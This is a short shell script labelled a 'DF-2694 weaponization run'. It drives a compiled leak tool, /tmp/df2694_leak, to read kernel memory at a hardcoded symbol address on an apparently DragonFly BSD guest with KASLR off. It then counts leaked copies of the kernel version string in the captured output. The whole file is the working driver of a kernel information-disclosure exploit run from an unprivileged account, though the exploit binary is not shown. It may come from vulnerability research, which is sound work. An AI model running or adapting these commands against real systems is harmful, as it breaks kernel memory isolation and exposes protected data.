#!/bin/sh
# DF-2694 weaponization run (unprivileged, on the guest).
# Target: kernel symbol `version` at 0xffffffff81144960 (stock kernel,
# no KASLR; confirm with: nm /boot/kernel/kernel.debug | grep -w version)
set -e
/tmp/df2694_leak ffffffff81144960 12 2500 600
echo "---- scan the captured buffers for the leaked kernel string ----"
strings -a /tmp/df2694_leak.bin | grep -c 'DragonFly 6.5-DEVELOPMENT' || true